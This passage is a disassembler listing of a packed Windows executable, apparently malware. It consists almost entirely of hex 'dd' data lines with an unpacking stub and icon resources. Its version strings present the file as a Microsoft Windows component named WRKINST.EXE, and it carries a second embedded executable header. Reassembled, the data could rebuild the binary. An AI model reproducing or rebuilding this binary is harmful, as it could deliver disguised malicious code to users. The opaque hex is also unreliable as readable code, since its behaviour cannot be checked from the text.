0BCB7FFFFh, 0D884DC36h, 0ECBB01Bh, 89FB867Dh dd 7CC78C0Bh, 1401FC85h, 0B6DF76A2h, 0A218FFFFh, 0D840A324h dd 0A3B215EDh, 7B1BA464h, 0B73C87A4h, 6D1BABF4h, 0FFFEDFABh dd 0ACA9C7FFh, 481B7085h, 0AD041BADh, 0E48BC67h, 0AEF2C0C9h dd 4896BC0Eh, 0C2B0C753h dd 0FDBFFF1Fh, 0C86D2FBBh, 815FCDCFh, 312212D0h, 0CD1FF9Fh dd 71857922h, 0AFD1CBh, 0C4A2DFD6h, 0A1D442FFh, 7B1FE2ECh dd 5DC0EBD8h, 28C904B5h, 0FF52FA2Ah, 413448A5h, 9A160102h dd 0B22FB066h, 5180407h, 3BFF106Fh, 60D69A4h, 0C10C0709h dd 0BCA41906h, 0DFBDF61Bh, 17F8DFFEh, 3B570B90h, 7482573Dh dd 13100D83h, 90120311h, 2117F91Bh, 0FCA37635h, 7410FDBh dd 5043641Bh, 38175233h, 0E2F30753h, 59C6B7B7h, 0C1BA3EBFh dd 7020A217h, 0D1FB061Ch, 50DFDBFEh, 802FC772h, 0B02581B3h dd 1F8207C1h, 538F8483h, 0BF77F2FFh, 9E299178h, 0A4436CA1h dd 9FB7A76Fh, 1FCE41C2h, 330718D7h, 0FFFFF103h, 0C9688BFFh dd 146CE30Ch, 701B216h, 76511F17h, 4F2F2366h, 632A0F92h dd 407367A7h, 0FD4BFFA6h, 7878416Fh, 4C3B40E7h, 32200907h dd 880A9B2Ch, 115C10E6h, 0BF78DE2Ch, 123E96A9h, 0E5DC1308h dd 7CDBB618h, 0FC4B441Ah, 1B8FA7FCh, 0E4E41C0Ch, 601FC41Eh dd 0F52F21A3h, 0B2CDE25Fh, 22E38659h, 8078E290h, 79705EEBh dd 0FF167A70h, 72FFFE5h, 985187FCh, 0FF07DD7Bh, 14CE02A7h dd 5001072h, 0E0ABEF90h, 0BDFDFE97h, 0A80C81A8h, 8B6404C7h dd 0BF89690Ch, 7C5B0BF4h, 5A820003h, 46017700h, 4F77B07h dd 0FF42FF08h, 82CEA485h, 17218279h, 6307DFA6h, 0A593F3F2h dd 7FE09F81h, 0FCFFFFEBh, 0A8807E40h, 423D9C2Fh, 0DAA3C178h dd 0FE81CCA3h, 60C44007h, 412FB583h, 0FFE8DF57h, 0DDFFC8FFh dd 0A2CF5FB6h, 1AA2E4h, 0A2E8A2E5h, 0DBF27E5Bh, 5109A193h dd 0ADF89705h, 5EDA03FFh, 0DA5F5FDAh, 0E4FDDA6Ah, 0D8D357F6h dd 0FF39F9DBh, 31FFFFFFh, 50ED1C7Eh, 0EB023061h, 98107B43h dd 0F78A889h, 7600ECBDh, 6B48AB01h, 0B7EB1823h, 0DBB83B6Ch dd 0D7F85E2Dh, 0F13FEFA0h, 3F906A02h, 0C13DE162h, 0FB7FF0EBh dd 0E9080252h, 1F26B06Eh, 5F40E8F8h, 1D3B0BC0h, 7C41B10Bh dd 4E75BA9h, 0D4088D96h, 883BDB06h, 91DC8706h, 62E9A92h dd 0FFFFE893h, 7FF03FFh, 7E122B78h, 0A809341h, 137ED667h dd 19B1C641h, 0CB1344BFh, 0F6E503D3h, 5FC37FC2h, 0ED1A2796h dd 41F6AC03h, 0B8B4B09Ah, 34C4C0BCh, 5FFF455Dh, 0F2F8E002h dd 0A6D0DCC6h, 0C8D34EEBh, 3CC1FBCh, 0FB78B7D0h, 0D8D41E7Fh dd 0E8E4E0DCh, 0EC0ABDD7h, 0A80BF4F0h, 0FFF57A03h, 4DB3DF56h dd 2FF298A0h, 3880790h, 0BB42E080h, 6005B605h, 4C09C23Dh dd 0EADEDC40h, 409FA17h, 5842B6FBh, 44FB2EDBh, 23DF03ACh dd 0B7FFFFFFh, 2B007F62h, 64882E43h, 0A047190Fh, 2D07417Dh dd 0B2303A90h, 9360BB10h, 0FF2F241Ah, 0CBFD0BFFh, 56483400h dd 4573AA01h, 6B030F74h, 1C9E0A47h, 0F1F07080h, 0F8535047h dd 94FFFD6Fh, 5492816Ch, 0C9B0443Fh, 6E385E05h, 0F5134C47h dd 0BD9A4ADh, 0FFA11703h, 37DF5FD6h, 3BEBD348h, 0D4B5F75Ah dd 34D9669Bh, 1B3411F3h, 4E70DFFCh, 65C0A86Dh, 77533A33h dd 534D3B8Bh, 0F5D3BA6Bh, 0F2FC6EADh, 0D51C2227h, 14DDCAEh dd 497830BDh, 0FE01BEEFh, 0B669E36Fh, 4857115Dh, 384003F6h dd 20283091h, 1BFB1018h, 86F6Fh, 0E0F2F5F8h, 0D8204CFBh dd 0C400C8D0h, 8FFB1B07h, 66B7E05h, 3403B0B8h, 90985C9Ch dd 30788088h, 0D6F0FFE5h, 505860DCh, 343C480Ch, 741C242Ch dd 0FD68519Bh, 80C14FFh, 0F487F4FCh, 0D6760CD7h, 0DDC6FF4h dd 0DDDF772Dh, 0ACB87B8Eh, 0A34943Ah, 787C848Ch, 6CD31174h dd 63DADF64h, 4C545CEFh, 0D203B1Bh, 0C7C0A5Fh, 0FF0FF46Fh dd 0F3FE1ADFh, 359DD74Dh, 3717BF3h, 7BEED93Dh, 0FBFFF3B3h dd 0B40FC0E3h, 0FFC1BDF3h, 2200F7FFh, 0F3ACE204h, 564004E3h dd 2231789h, 3744642h, 0FA1C9020h, 414BF4BFh, 0D024A716h dd 2A8C31D8h, 2A894D17h, 0F581EC6h, 5FFFFFFFh, 224C0D87h dd 0E3A71507h, 54184666h, 1CA99B4h, 1ADF6574h, 7661654Ch dd 153B4515h, 0FF06EAA5h, 1584CCFFh, 56E2C73h, 0F16C2BA0h dd 28416E18h, 63090EF3h, 0DFFFD1BFh, 0D17970E0h, 0DA0F5009h dd 0AB3A01F2h, 1CC75228h, 8049736Fh, 0BC1BFF81h, 624E27D4h dd 6A160D40h, 0BED8A01h, 54D86260h, 0F02FFF7Bh, 0E62E6BFFh dd 227A89DCh, 6E0A3E89h, 6469A802h, 72616898h, 9C4D6F54h dd 0FFE0AB42h, 5C88EF02h, 71141345h, 9375A2A8h, 0FFFC6F69h dd 3358757Fh, 417C4EC4h, 9C2D3B1Dh, 2CD41228h, 15135A11h dd 0F57E9AFh, 7AB71B95h, 2761B5EBh, 0DF5EADCEh, 8603B6A3h dd 0FFFDB579h, 687A9EFFh, 5670614Dh, 7D858469h, 4F7765F6h dd 6E558C66h, 6F0D106Dh, 1B5689EAh, 0F747E76Fh, 7E11F991h dd 0FFFF5603h, 0DEE5727Fh, 6F5868A3h, 558A889Dh, 0EEB99BCh dd 0A44B2A52h, 7B0362D6h, 0FC4BFFFFh, 379D602Dh, 45714EDAh dd 0A8EA56E6h, 0F71610D9h, 2A715F62h, 0A90416F3h, 0DCFE854Bh dd 6E694654h, 9FFEBC22h, 0F13EAE0Fh, 377FFC4Bh, 70DB9A10h dd 0A8041E12h, 0BD4E6D61h, 15ACD1FAh, 0F0B8DFBEh, 7B63792Fh dd 217E9D23h, 0C34ED661h, 0E60215A8h, 0FFFFFF16h, 447719FFh dd 1035CDC4h, 41A6BBDEh, 1E095173h, 193505Fh, 50AD012Bh dd 6A02E445h, 125EA503h, 0FFFFF5DCh, 0FEBBC1FFh, 6F5F847Bh dd 0E0C42630h, 7E531DC9h, 0B3182906h, 222B1264h, 3A88F441h dd 0F12FFF90h, 7FF69DBFh, 35EC0EEFh, 0B4EE5722h, 425E6873h dd 0DAA06675h, 4B66B9CDh, 0D3FFFE15h, 70650B51h, 0A0999A06h dd 0A8704696h, 97805909h, 5B7F50Ah, 0E10CA4FEh, 5DB3B875h dd 16006E16h, 2E3361BCh, 0FFFFF045h, 0D236CE2Fh, 2920A08Dh dd 0B070754Fh, 0BD286D9h, 6FD46D16h, 40060C79h, 37837FDBh dd 76AE2328h, 7E27B050h, 0BD96740Ch, 85FFFF80h, 51E810FEh dd 0DEA219FCh, 815CE27h, 62823351h, 918FE6BDh, 853D6CB0h dd 0FFC0BFD3h, 0B10ED40Bh, 4EB4C68h, 615E4BF8h, 1C675987h dd 0FFB47349h, 6DFE97FFh, 48C6D141h, 78800B67h, 5083CE67h dd 42E7505Ch, 5B6CEC0Fh, 6D20630Ah, 0C1BC5B15h, 7B6544FFh dd 3624BAB0h, 0ED4FDB41h, 7E340C09h, 0FFFEA55Bh, 0B1D356FFh dd 19C2AA00h, 0F2C897A0h, 41CB784Dh, 5316180Ch, 613A425h dd 8DFF6A50h, 0F1C3DCFEh, 76962463h, 6AC1FB92h, 2F30CB25h dd 4BFF7457h, 0C3B5176Fh, 3658E76Ch, 177CD4E9h, 8179473h dd 0FF56C239h, 176FFFFFh, 6059A71Bh, 9DFE57h, 23146769h dd 52C25149h, 8A024C21h, 86F655B7h, 5F8C5834h, 53ADFFFAh dd 764AD362h, 440FCB70h, 86864217h, 0D0918A6Bh, 0FEEFAE0Ah dd 15FFFFC2h, 551F66F5h, 0B9B30C0Fh, 2B8E5159h, 0A21DAA89h dd 7D1320Eh, 6EDD3451h, 0DF6E025Fh, 0A970C166h, 0ACB51D74h dd 0AFFDB23h, 0DDFBBF02h, 0F1639A5h, 2100B65h, 8A170904h dd 73130309h, 0FF2E3474h, 0F9F8823Bh, 4C20301h, 1C9C03F9h dd 0B0D04659h, 0E2E05F70h, 0B1FFFFFFh, 40D23257h, 1701A010h dd 0DB140655h, 27879A0h, 8007E5C2h, 2F4AF4EDh, 7FFF9B64h dd 0A0C8DFFBh, 6447B541h, 3F46F000h, 0D881BB1Bh, 0C201ECA7h dd 54E4DF14h, 0FEEBC908h, 10FFC5BFh, 614DEFBh, 0FB2CA4C2h dd 185D280h, 2F08C2C5h, 0BC50183Ch, 0D6FF60B3h, 0C27B0DFFh dd 46F7B1B2h, 8073F3EBh, 9BF71127h, 4D441B40h, 0C1817F17h dd 4996E3DAh, 60752400h, 411000BEh, 54BEDB00h, 0FE058DB4h dd 0FFCD8357h, 0C400904Bh, 8A1E0A2Dh, 1874606h, 0BFF7B0DBh dd 831EB104h, 0DB11FCEEh dd 37B8ED72h, 0BEC1FF11h, 0CC0111Dh, 975EF73h, 31E4730Eh dd 3E883C9h, 235DFD72h, 3DE10D80h, 74FFF083h, 64C58974h dd 2F81D84Fh, 20750CC9h, 0FB7F1C41h, 834C2C27h, 0FD8102C1h dd 8395F300h, 148D01D1h, 6BBEA62Fh, 0FCFD83FDh, 338A0F76h dd 0F7754994h, 510563E9h, 0EE052C2Ch, 0F6893F83h, 5B4BFFBBh dd 4E98304h, 0CF01F177h, 5E164CE9h, 4EB9F789h, 0FFFFA904h dd 298ADBFFh, 13CE82Ch, 3F80F777h, 8BF27505h, 45F8A07h dd 8E8C166h, 8610C0C1h, 0BDF46EC4h, 3CF829C4h, 3BF001E8h dd 0D9E23605h, 0EB5BF6FBh, 23DD90FFh, 4574C009h, 848D278Bh dd 0ADEDB430h, 1BB7EDBh, 81F50F3h, 0B91896FFh, 84E950Bh dd 8B6DE01Dh, 79F93A5Bh, 500BB73Dh, 0B33BB947h, 0A977516Dh dd 371C1D55h, 76878907h, 8303FDB3h, 0D8EB04C3h, 0AE8B2410h dd 0FF560520h, 0F09620A6h, 545093BBh, 5753046Ah, 6FEDD5FFh dd 878DE2A2h, 7F208C0Fh, 7F286080h, 0A8DF1558h, 1450BD4Ah dd 6A80451Eh, 0B2AA3900h, 75C4FFC2h, 80EC83FAh, 0FEAD67E9h dd 9A3A0099h, 5042EC1h, 0E303003h, 0E9A69A6Ch, 0E010A007h dd 0D3012018h, 2FAC2C6Dh, 501F015Ah, 4D9231CEh, 0A9007802h dd 2DDB0008h, 640B68BBh, 0E424E8C1h, 6E427704h, 9027D9DFh dd 2827C44Bh, 0AC21BB01h, 0B8A0EABBh, 7C3FD067h, 42B7D8C5h dd 0AF00222Eh, 6C913FF8h, 1104396h, 0DB02B4A4h, 387902E6h dd 0C85C5001h, 83BA567Fh, 9160203Bh, 40033BCFh, 0C5821D81h dd 2301829h, 33BA4DEEh, 1800680h, 0CFBDD208h, 700C0B5h dd 602FF11h, 7D200FFFh, 0FF12016Fh, 787787C1h, 20C8EB59h dd 87FF8F88h, 73E5C80Eh, 0A07A77F6h, 7708780Fh, 4DDDB0ABh dd 2077DF76h, 0EEBB0F8Fh, 0F7870820h, 0B92FF92Fh, 77E7BE0Fh dd 0BEFA777Fh, 0F8777077h, 0CDC83C9Ch, 0CC4CE708h, 77F0A0C4h dd 20FFE447h, 8E87A8Fh, 88087844h, 0EBAA7788h, 0CFEFF777h dd 44C07DBDh, 8A190748h, 5F52BBAEh, 0F4404F0h, 95AD74FDh dd 0F3720EEh, 0BBEB7870h, 0FFDD6AB5h, 8878883Eh, 0F047F87h dd 8E0F88EAh, 0ADB5CFB7h, 2187DFDEh, 0F87004Fh, 76FC788Fh dd 8246B58h, 0F73F70F1h, 0FFFF0887h, 0CE6BB73Dh, 8FD87600h dd 0EF3F0F70h, 0AE75BBh, 26F0983Eh, 4F004488h, 0FD83370Fh dd 0F4086D0Fh, 6C6676E7h, 0FE000FCCh, 0D81B6677h, 0EF66903Bh dd 0D201F20h, 1FD81BD8h, 67E0F20h, 20EC06F6h, 0F20770Fh dd 0F602CB7Eh, 8F0F20h, 8766FF08h, 0D3B84C20h, 60C7BB00h dd 88FE0FC3h, 7FC02723h, 0FFD4A258h, 3FC01FFCh, 1FC007F0h dd 310303E0h, 0F24E43C0h, 3CE95h, 0D9320000h, 36019DC9h dd 408003F2h, 7E5CD96h, 0F3E30FC2h, 0BC67FF80h, 24C00E65h dd 0EB94481Fh, 80E42210h, 802034h, 9861F6FEh, 75FC270h dd 87007007h, 0BFE0BEF7h, 775979BCh, 8708770h, 0C077E88Ah dd 0EB8E0777h, 9B8DB634h, 0F80FC77Fh, 0CC178835h, 0E87F9CCEh dd 0FC0E2D28h, 0F88F074Dh, 0DEE070Fh, 80462FC7h, 0C766470Fh dd 764E2000h, 88D97C67h, 8F88F7FCh, 7E747h, 4744448Fh dd 675EF735h, 8F6D10F8h, 830D8AC1h, 161DD3B7h, 0E0FB03C2h dd 0A2C5F003h, 0FEFC483Bh, 0DD95B801h, 685CE077h, 10202906h dd 0EDF5071Dh, 10106CC0h, 5010030Dh, 0EE959441h, 8FF72DEEh dd 53552B34h, 45055F00h, 0FE095200h, 49FBAEB9h, 4E004F00h dd 4605490Fh, 4BD000Bh, 4D64FEEFh, 343F676h, 0AB3F0700h dd 0DEC26F76h, 12001104h, 744F75h, 2825506Dh, 7667A9FBh dd 4DCDEE6Fh, 65006C07h, 660D59h, 1EE236Fh, 706DD7B9h dd 39033415h, 5BBA8307h, 4C91FDD7h, 43171600h, 0CF6D23h dd 0B9792F61h, 8DEBAC6Eh, 5B650D61h, 5763494Dh, 0B75D6333h dd 6603731Fh, 722D2063h, 0BAEE6605h, 691161EEh, 724B6E09h dd 7F7B2900h, 561DD733h, 1D357203h, 2E003500h, 0DDDD63CDh dd 32033100h, 30813600h, 38003109h, 75D63720h, 5178731Dh dd 55F0373h, 37F60732h, 5B725D73h, 27B5256Dh, 332D0033h dd 375EEB9Fh, 52290D35h, 0E773071Dh, 7580D874h, 916E6F63h dd 0A577C16Ch, 0D8BF9A11h, 3E2F1B6Bh, 294F0B00h, 877B26C9h dd 0B32F2D67h, 2375376Eh, 2357B82Ch, 2EA94BA3h, 84545805h dd 3F03CFE6h, 5025006Ah, 0D0943711h, 1B7557B0h, 0DDAE2F74h dd 58DDC8C3h, 11646957h, 4F730077h, 21E1AE3Fh, 20B36549h dd 841D79C1h, 0C77D8DECh, 0AB3A4B6Dh, 612B136Bh, 0F9535524h dd 0E9DD30Ch, 612D4439h, 2CFB1B0Dh, 24D7ADh, 4F6E8154h dd 0A1096FE5h, 941C96Ch, 4804B004h, 0D42FEA98h, 73613CFFh dd 626D6573h, 7920796Ch, 223D736Eh, 7FE07275h, 637B176Bh dd 2D181368h, 7263696Dh, 666F736Fh, 0DEDD43h, 3A6D6F16h dd 7E2E6D10h, 37D5BFDAh, 66696E19h, 6556AC65h, 6F697372h dd 3B0D326Eh, 8084A194h, 8C0F6D4Bh, 44BF8742h, 211867C9h dd 3CC0E69h, 932C5113h, 5E9A4866h, 743C6934h, 65375Dh dd 3821774h, 34A22392h, 0B08360C8h, 7F34BE07h, 0E682A8C0h dd 4441000Eh, 6B504156h, 49B8002Fh, 55007E0Ch, 0F80A1A53h dd 5707C9A7h, 395F3253h, 4C64616Fh, 77600169h, 47CD3100h dd 69BFBD65h, 0FA4AD533h, 7269E973h, 6C617574h, 77B40025h dd 63657413h, 2FDE0F74h, 3BBB8034h, 4E676552h, 79654B0Ch dd 437FCD25h, 707377FFh, 746E6972h, 0A8484166h, 5003FCECh dd 4000416Ah, 2D004147h, 4689F8DAh, 4A475342h, 2A4752BDh dd 9F1456FEh, 67736266h, 4A974A5Ch, 62C605FFh, 4120666Ah dd 0AB505C47h, 8F676188h, 498DF7F6h, 62766697h, 62791961h dd 0FB6B0874h, 66B4515Ch, 2C43C113h, 19508A03h, 83085CAFh dd 0A9B8C276h, 40D7B0E2h, 5F171083h, 0E6931557h, 9C1B1938h dd 3E417EDBh, 110FD407h, 32D3316h, 981C80E5h, 1B09D81Fh dd 0B9800001h, 3500031Dh, 0C8A20600h, 0B66900BEh, 0F429100Bh dd 0E0EC0322h, 0A69A69A6h, 0ACB8C4D4h, 69A69AA0h, 7488949Ah dd 694C5C68h, 4469A69Ah, 14243038h, 0A6CB34D3h, 0E821F408h dd 0D34DD0DCh, 0B8C44D34h, 8C94A0A8h, 34D34D34h, 5C687884h dd 4D34D350h, 203044D3h, 69A60414h, 20F8659Ah, 0D4DCE4F0h dd 9A69A645h, 0A0B0B8C8h, 5C2C0000h, 4104D778h, 30C59h dd 0E07FA2C0h, 0A4004015h, 51060B16h, 3A000259h, 74428002h dd 0AB72FAA2h, 491014DFh, 0DA654473h, 2CDF552Eh, 50726567h dd 186E6575h, 0FF737E01h, 614856A9h, 656C646Eh, 7461150Ch dd 2A694665h, 0BDB7DB7h, 736C0C41h, 6E087274h, 0FBFBD909h dd 6954AB97h, 6F436B63h, 72573175h, 0FD2F2369h, 0A66AA4DDh dd 6C745228h, 69776E55h, 0AC4542B6h, 1C8F334Ch, 9554BD6Dh dd 6FD0980Ah, 6FB67972h, 635283CDh, 324C7461h, 6C416C61h dd 0D6B6637Ch, 460BC1B5h, 35535025h, 0A6840h, 648DC7B7h dd 70557845h, 0C2B71074h, 476BE6DAh, 6C191C72h, 0A2DB982h dd 8BD072AAh, 0DB6D6585h, 6D175412h, 2059D88h, 819A7556h dd 0B6C64C00h, 740CF75Bh, 65758056h, 510F4156h, 0D6B09DAEh dd 4F11AD0Ah, 0A02D5A70h, 41B669BAh, 0FF588E44h, 95C002A8h dd 55A12FCh, 10FF0D00h, 426F808Ch, 23130003h, 0B54020C9h dd 2007105Ah, 0DC105C8Fh, 54FC016Fh, 0D7B80167h, 58A0F683h dd 5A024577h, 13404760h, 1CC3207Ch, 742E5620h, 6C8F7865h dd 0C7AFBD9h, 2E420390h dd 0B720C272h, 61836485h, 0C0BA2AFBh, 2E6BC703h, 2E40021Bh dd 0D500A626h, 4B04DD20h, 9887E0E0h, 2E5A94F9h, 0EA545243h dd 0B2B5405Bh, 0BD4F6309h, 0AA261309h, 54075313h, 2791BF3Dh dd 5BD8AC13h, 4A000000h, 9002Ah, 0FF00h, 6000BE60h, 0BE8D0040h dd 0FFFFB000h, 0FFCD8357h, 909010EBh, 90909090h, 8846068Ah dd 0DB014707h, 1E8B0775h, 11FCEE83h, 0B8ED72DBh, 1, 775DB01h dd 0EE831E8Bh, 11DB11FCh, 73DB01C0h, 8B0975EFh, 0FCEE831Eh dd 0E473DB11h, 0E883C931h, 0C10D7203h, 68A08E0h, 0FFF08346h dd 0C5897474h, 775DB01h, 0EE831E8Bh, 11DB11FCh, 75DB01C9h dd 831E8B07h, 0DB11FCEEh, 2075C911h, 75DB0141h, 831E8B07h dd 0DB11FCEEh, 0DB01C911h, 975EF73h, 0EE831E8Bh, 73DB11FCh dd 2C183E4h, 0F300FD81h, 0D183FFFFh, 2F148D01h, 76FCFD83h dd 42028A0Fh, 49470788h, 63E9F775h, 90FFFFFFh, 0C283028Bh dd 83078904h, 0E98304C7h, 1F17704h, 0FF4CE9CFh, 895EFFFFh dd 34B9F7h, 78A0000h, 3CE82C47h, 80F77701h, 0F275003Fh dd 5F8A078Bh, 0E8C16604h, 10C0C108h, 0F829C486h, 1E8EB80h dd 830789F0h, 0D88805C7h, 0BE8DD9E2h, 10000h, 0C009078Bh dd 5F8B4574h, 30848D04h, 128B4h, 8350F301h, 96FF08C7h dd 12904h, 47078A95h, 0DC74C008h, 779F989h, 4707B70Fh dd 57B94750h, 55AEF248h, 290896FFh, 0C0090001h, 3890774h dd 0EB04C383h, 1096FFD8h, 8B000129h, 1290CAEh, 0BE8D00h dd 0BBFFFFF0h, 1000h, 46A5450h, 0D5FF5753h, 1F7878Dh, 20800000h dd 2860807Fh, 5450587Fh, 0FF575350h, 8D6158D5h, 6A802444h dd 75C43900h, 80EC83FAh, 0FEEDB7E9h, 0FFh, 2Fh dup(0) dd 4, 40000h, 3, 80000030h, 0Eh, 800000A0h, 10h, 800000E0h dd 18h, 80000120h, 2 dup(0) dd 4, 20000h, 1, 80000050h, 2, 80000078h, 2 dup(0) dd 4, 10000h, 409h, 68h, 13164h, 2E8h, 4E4h, 3 dup(0) dd 4, 10000h, 409h, 90h, 13450h, 128h, 4E4h, 3 dup(0) dd 4, 10000h, 3EAh, 800000B8h, 2 dup(0) dd 4, 10000h, 409h, 0D0h, 1357Ch, 22h, 4E4h, 3 dup(0) dd 4, 10000h, 1, 800000F8h, 2 dup(0) dd 4, 10000h, 409h, 110h, 135A4h, 2B4h, 4E4h, 3 dup(0) dd 4, 10000h, 1, 80000138h, 2 dup(0) dd 4, 10000h, 409h, 150h, 1385Ch, 56h, 4E4h, 0 dd 10160h, 28h, 20h, 40h, 40001h, 0 dd 200h, 5 dup(0) dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 0C0C0C0h dd 808080h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh dd 0FFFFh, 0FFFFFFh, 4 dup(0) dd 78778700h, 0 dd 88000000h, 0 dd 0F8FF8F00h, 80h, 77880000h, 0A07Ah, 0F8FF8F00h, 78h dd 77770800h, 0B0AB7Ah, 0F8FF8F00h, 8077h, 77778F00h, 0EEBB7Ah dd 0F8FF8F00h, 7877h, 77F78708h, 0E7BE7Ah, 0F8FF8F00h dd 7877h, 777F7708h, 7077BEFAh, 0F8FF8F00h, 7877h, 0F8777708h dd 7077E708h, 0C4CC4C00h, 7877h, 0A0777708h, 707777F0h dd 0C4CC4C00h, 7847h, 0E87A7708h, 70777708h, 0C4CC4C00h dd 88087844h, 0EBAA7788h, 7077F777h, 0C0CC4C00h, 77074844h dd 0BBAE8A77h, 777F77h, 0F0FF8F00h, 77074404h, 0BBEE8A77h dd 0F77777h, 0F0FF8F08h, 77074470h, 0BBEB7877h, 707777h dd 87887888h, 0FF0F047Fh, 0BB88FFFFh, 807877h, 87778787h dd 8808F0FFh, 88888888h, 808788h, 7077788Fh, 8888h, 0 dd 708800h, 887F708h, 7707FFFFh, 77777777h, 800878h, 8708F00h dd 0FF0FFFFFh, 0FFFFFFFFh, 8078h, 0F00800h, 44448888h dd 4F444444h, 8078h, 800000h, 76E7F408h, 4FCC6C66h, 8078h dd 0 dd 77FEF408h, 4FCC6666h, 8078h, 0 dd 0E7EFF408h, 4F6C6676h, 8078h, 0 dd 0FEFEF408h, 4F666677h, 8078h, 0 dd 0EFEFF408h, 4F6676E7h, 8078h, 0 dd 0FE7EF408h, 4F6677FEh, 8078h, 0 dd 0EF77F408h, 4F76E7EFh, 8078h, 0 dd 7E77F408h, 4F77FEFEh, 8078h, 0 dd 4444F408h, 4F444444h, 8078h, 0 dd 0FFFFFF08h, 0FFFFFFFFh, 80F8h, 0 dd 77778700h, 77777777h, 8077h, 0 dd 88880800h, 88888888h, 8088h, 0FFFFFFC0h, 1FFC7FC0h dd 7F03FC0h, 3E01FC0h, 1C00FC0h, 18007C0h, 3 dup(8007C0h) dd 2 dup(0C0h), 2 dup(10000C0h), 3000080h, 3 dup(3000000h) dd 7000080h, 0F0000C2h, 0F0000E3h, 0F0080F3h, 9 dup(0F0080FFh) dd 0F00C0FFh, 1F00E0FFh, 10448h, 28h, 10h, 20h, 40001h dd 0 dd 80h, 5 dup(0) dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 0C0C0C0h dd 808080h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh dd 0FFFFh, 0FFFFFFh, 0 dd 70000000h, 0F008h, 77A7708h, 70F008h, 0E0BEF787h, 77F008h dd 70877087h, 877F008h, 7077E88Ah, 777C008h, 707FEB8Eh dd 0FC7C008h, 8877BBF8h, 8CCF008h, 78888887h, 0FC8008h dd 7000000h, 70FF88Fh, 80777777h, 0F808808h, 80C76647h dd 0FFF0800h, 8067764Eh, 8F880000h, 8067E747h, 8F000000h dd 80474444h, 8F000000h, 80F7FFFFh, 8000000h, 80888888h dd 0C18Fh, 8087h, 83h, 6 dup(80h), 0 dd 80h, 0E0h, 0F0h, 2 dup(0FCh), 1FEh, 10570h, 10000h dd 20200002h, 10010h, 2E80004h, 10000h, 101010h, 40001h dd 128h, 41500002h, 10594h, 3402B4h, 560000h, 5F0053h dd 450056h, 530052h, 4F0049h, 5F004Eh, 4E0049h, 4F0046h dd 0 dd 0FEEF04BDh, 2 dup(10000h), 0 dd 10000h, 0 dd 3Fh, 0 dd 40004h, 1, 3 dup(0) dd 212h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h dd 66006Eh, 6Fh, 1EEh, 300001h, 300034h, 300039h, 450034h dd 34h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh dd 65006Dh, 0 aMicrosoftCor_0: unicode 0, <Microsoft Corporation>,0 aR_0: unicode 0, <r)> dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh dd 0 a5_1_2600_218_0: unicode 0, <5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)>,0 align 4 a0_0: unicode 0, <0> dw 8 dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h dd 65h, 720077h, 69006Bh, 73006Eh, 74h, 0C0040h, 4F0001h dd 690072h, 690067h, 61006Eh, 46006Ch, 6C0069h, 6E0065h dd 6D0061h, 65h, 520057h, 49004Bh, 53004Eh, 2E0054h, 580045h dd 45h, 25006Ah, 500001h, 6F0072h, 750064h, 740063h, 61004Eh dd 65006Dh, 0 aMicrosoft_0: unicode 0, <Microsoft> dw 0AEh aWindows_0: unicode 0, < Windows> dw 0AEh db ' ',0 aOperatingSys_0: unicode 0, <Operating System>,0 align 4 unicode 0, <:> dw 0Bh dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h dd 6F0069h, 6Eh, 2E0035h, 2E0031h, 360032h, 300030h, 30002Eh dd 0 dd 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h, 6F0066h dd 0 dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h dd 6E006Fh, 0 dd 4B00409h, 10848h, 7373613Ch, 6C626D65h, 6D782079h, 3D736E6Ch dd 6E727522h, 6863733Ah, 73616D65h, 63696D2Dh, 6F736F72h dd 632D7466h, 613A6D6Fh, 762E6D73h, 6D202231h, 66696E61h dd 56747365h, 69737265h, 223D6E6Fh, 22302E31h, 3C0A0D3Eh dd 7373612Fh, 6C626D65h, 41503E79h, 3 dup(0) dd 13928h, 13904h, 3 dup(0) dd 13935h, 13918h, 3 dup(0) dd 13942h, 13920h, 5 dup(0) dd 1394Eh, 1395Ch, 1396Ch, 1397Ch, 0 dd 1398Ah, 0 dd 800002A8h, 0 aKernel32_dll_8 db 'KERNEL32.DLL',0 aAdvapi32_dll_0 db 'ADVAPI32.dll',0 aShell32_dll_0 db 'SHELL32.dll',0 align 10h aLoadlibrarya_0 db 'LoadLibraryA',0 align 2 aGetprocaddre_0 db 'GetProcAddress',0 align 2 aVirtualprote_0 db 'VirtualProtect',0 align 2 aExitprocess_2 db 'ExitProcess',0 align 4 aRegclosekey_2 db 'RegCloseKey',0 unicode 0, <H>,0 dd 0Eh dup(0) dd offset dword_40E000 dd offset dword_40D7B0 dd 3, 8 dup(0) dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0C8h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 1489CBA0h, 3 dup(47E7AAE4h), 47BAA527h, 47E7AAE7h, 47E6AAE4h dd 47E7AAEDh, 479A6CC3h, 47E7AAE9h, 479B6CC3h, 47E7AAE5h dd 479F6CC3h, 47E7AAE5h, 68636952h, 47E7AAE4h, 2 dup(0) dd 4550h, 4014Ch, 496DE283h, 2 dup(0) dd 10300E0h, 8010Bh, 1200h, 34600h, 0 dd 1655h, 1000h, 3000h, 3E0000h, 1000h, 200h, 4, 0 dd 4, 0 dd 39000h, 400h, 12278h, 2, 100000h, 1000h, 100000h, 1000h dd 0 dd 10h, 2 dup(0) dd 3080h, 28h, 38000h, 2E0h, 12h dup(0) dd 3000h, 28h, 6 dup(0) a_text_0 db '.text',0 align 4 dd 1093h, 1000h, 1200h, 400h, 3 dup(0) dd 60000020h, 6164722Eh, 6174h, 16Ch, 3000h, 200h, 1600h dd 3 dup(0) dd 40000040h, 7461642Eh, 61h, 33EB0h, 4000h, 8C00h, 1800h dd 3 dup(0) dd 